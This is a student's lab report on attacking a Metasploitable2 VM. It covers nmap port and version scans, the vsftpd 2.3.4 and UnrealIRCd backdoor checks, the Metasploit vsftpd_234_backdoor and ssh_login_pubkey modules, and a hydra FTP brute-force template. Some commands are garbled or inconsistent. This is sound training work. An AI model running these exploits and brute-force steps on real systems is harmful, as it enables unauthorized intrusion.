**Cyber-Security Report Batch-4**

BY: Mayank Singh Tomar

Email: [tomarm698@gmail.com](mailto:tomarm698@gmail.com)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

Project-2:  **Tools and Libraries Uses**

The Tools we are going to use in this Project are:

**1. nmap tool:**

It is the library that comes with Kali it is used to scan IP’s.

**2. Metasploitable2 Vmware:**

It is the tool used for creating temporary IP’s on which we can try various others libraries and tools.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Tasks and their Reports:**

**Task 1:**Login to metaspolit and extract ip address

root@b0da1f362c0b:/# ifconfig

eth0 Link encap:Ethernet HWaddr 02:42:ac:11:00:03

inet addr:172.17.0.3 Bcast:172.17.255.255 Mask:255.255.0.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:36 errors:0 dropped:0 overruns:0 frame:0

TX packets:32 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:3570 (3.4 KB) TX bytes:3320 (3.2 KB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:29 errors:0 dropped:0 overruns:0 frame:0

TX packets:29 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:14421 (14.0 KB) TX bytes:14421 (14.0 KB)

root@321a9866fd8c:/# ifconfig

eth0 Link encap:Ethernet HWaddr 02:42:ac:11:00:02

inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:94 errors:0 dropped:0 overruns:0 frame:0

TX packets:84 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:13429 (13.1 KB) TX bytes:12557 (12.2 KB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:318 errors:0 dropped:0 overruns:0 frame:0

TX packets:318 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:156653 (152.9 KB) TX bytes:156653 (152.9 KB)

**Task 2:** Do nmap scanning on the IP, Extract Open port and Version Details

#Commands Runned:

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ nmap 172.17.0.3

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 03:08 IST

Nmap scan report for 172.17.0.3

Host is up (0.019s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

443/tcp open https

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ nmap -p 80 172.17.0.3

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 03:09 IST

Nmap scan report for 172.17.0.3

Host is up (0.0046s latency).

PORT STATE SERVICE

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ nmap --open 172.17.0.3

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 03:11 IST

Nmap scan report for 172.17.0.3

Host is up (0.0080s latency).

Not shown: 998 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 5.90 seconds

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ sudo nmap -sS -sV -p21 Ip-Address

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 12:35 IST

Nmap scan report for DESKTOP-5QE9N93.mshome.net (Ip-adress)

Host is up (0.00038s latency).

PORT STATE SERVICE VERSION

21/tcp filtered ftp

MAC Address: 00:15:5D:AC:BA:7C (Microsoft)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ sudo nmap -sV -T4 -F insecure.org

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 12:51 IST

Nmap scan report for insecure.org (45.33.49.119)

Host is up (0.0074s latency).

Other addresses for insecure.org (not scanned): 2600:3c01:e000:3e6::6d4e:7061

rDNS record for 45.33.49.119: ack.nmap.org

Not shown: 98 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.6

443/tcp open ssl/http Apache httpd 2.4.6

Service Info: Host: issues.nmap.org

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 31.45 seconds

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ sudo nmap -O -v scanme.nmap.org

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 12:39 IST

Initiating Ping Scan at 12:39

Scanning scanme.nmap.org (45.33.32.156) [4 ports]

Completed Ping Scan at 12:39, 0.08s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 12:39

Completed Parallel DNS resolution of 1 host. at 12:39, 3.73s elapsed

Initiating SYN Stealth Scan at 12:39

Scanning scanme.nmap.org (45.33.32.156) [1000 ports]

Discovered open port 80/tcp on 45.33.32.156

Discovered open port 443/tcp on 45.33.32.156

Completed SYN Stealth Scan at 12:39, 22.42s elapsed (1000 total ports)

Initiating OS detection (try #1) against scanme.nmap.org (45.33.32.156)

Retrying OS detection (try #2) against scanme.nmap.org (45.33.32.156)

Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.022s latency).

Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f

Not shown: 996 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

443/tcp open https

3128/tcp closed squid-http

8080/tcp closed http-proxy

Aggressive OS guesses: OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (92%), Crestron XPanel control system (92%), HP PSC 2400-series Photosmart printer (90%), Linux 2.4.18 (88%), Netgear WGR614v7 wireless broadband router (88%), D-Link DIR-835 WAP (87%), Linux 3.18 (86%), Nintendo Wii game console (86%)

No exact OS matches for host (test conditions non-ideal).

TCP Sequence Prediction: Difficulty=264 (Good luck!)

IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 35.17 seconds

Raw packets sent: 3082 (139.536KB) | Rcvd: 50 (3.168KB)

**Task 3:**Check the vulnerable version exploitation's procedure in rapid7 and start exploiting the following ports

Telenet:

msfadmin@321a9866fd8c:~$ telnet 172.17.0.2 21

Trying 172.17.0.2...

Connected to 172.17.0.2.

Escape character is '^]'.

220 (vsFTPd 2.3.4)

421 Timeout.

Connection closed by foreign host.

To exploit VSFTPD valunerability:

301 nmap –script ftp-vsftpd-backdoor –p 21 172.17.0.2

302 nc [172.17.0.2]6667

303 nmap –A –p 6667 172.17.0.2

304 nmap –sV –script irc-unrealircd-backdoor –p 6667 172.17.0.2

VSFTPD badckdoor in msfconsole:

msf > use exploit/unix/ftp/vsftpd\_234\_backdoor

msf exploit(vsftpd\_234\_backdoor) > show targets

msf exploit(vsftpd\_234\_backdoor) > set TARGET 172.17.0.2

msf exploit(vsftpd\_234\_backdoor) > show options

msf exploit(vsftpd\_234\_backdoor) > exploit

FTP:

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ sudo nmap -p 21 172.17.0.2

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 21:06 IST

Nmap scan report for 172.17.0.2

Host is up (0.0061s latency).

PORT STATE SERVICE

21/tcp filtered ftp

Nmap done: 1 IP address (1 host up) scanned in 5.84 seconds

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ nc -nv 172.17.0.2 21

(UNKNOWN) [172.17.0.2] 21 (ftp) : Connection timed out

ftp 172.17.0.2

┌──(mayank\_201b153\_kali㉿DESKTOP-5QE9N93)-[~]

└─$ ftp 172.17.0.2

ftp: Can't connect to `172.17.0.2:21': Connection timed out

ftp: Can't connect to `172.17.0.2:ftp'

hydra [-L users.txt or -l anonymous] [-P pass.txt or -p 123456789] -f [-S port] ftp://X.X.X.X

nmap -p 21 --script [script name] 172.17.0.2

SSH:

commands used:

27 ssh ignite@172.17.0.2

28 ssh ignite@172.17.0.2

29 ssh-keygen

30 cd .ssh

31 ls

32 cat id\_rsa.pub > authorized\_keys

33 ls

34 nano /etc/ssh/sshd\_config

35 sudo nano /etc/ssh/sshd\_config

36 ssh msfadmin@172.17.0.2

root@321a9866fd8c:~# ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id\_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id\_rsa.

Your public key has been saved in /root/.ssh/id\_rsa.pub.

The key fingerprint is:

cc:26:b1:7d:34:38:6e:26:09:67:4d:99:4b:28:63:10 root@321a9866fd8c

msfadmin@321a9866fd8c:~$ cd .ssh

ls

cat id\_rsa.pub > authorized\_keysmsfadmin@321a9866fd8c:~/.ssh$ ls

authorized\_keys id\_rsa id\_rsa.pub known\_hosts

msfadmin@321a9866fd8c:~/.ssh$ cat id\_rsa.pub > authorized\_keys

msfadmin@321a9866fd8c:~/.ssh$ ls

authorized\_keys id\_rsa id\_rsa.pub known\_hosts

msfadmin@321a9866fd8c:~/.ssh$ nano /etc/ssh/sshd\_config

msfadmin@321a9866fd8c:~/.ssh$ sudo nano /etc/ssh/sshd\_config

In msfconsole:

msf > use auxiliary/scanner/ssh/ssh\_login\_pubkey

msf auxiliary(ssh\_login\_pubkey) > set KEY\_FILE /tmp/r00tprivatekey

KEY\_FILE => /tmp/id\_rsa

msf auxiliary(ssh\_login\_pubkey) > set USERNAME root

USERNAME => root

msf auxiliary(ssh\_login\_pubkey) > set RHOSTS 172.17.0.2

RHOSTS => 172.17.0.2

msf auxiliary(ssh\_login\_pubkey) > run

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**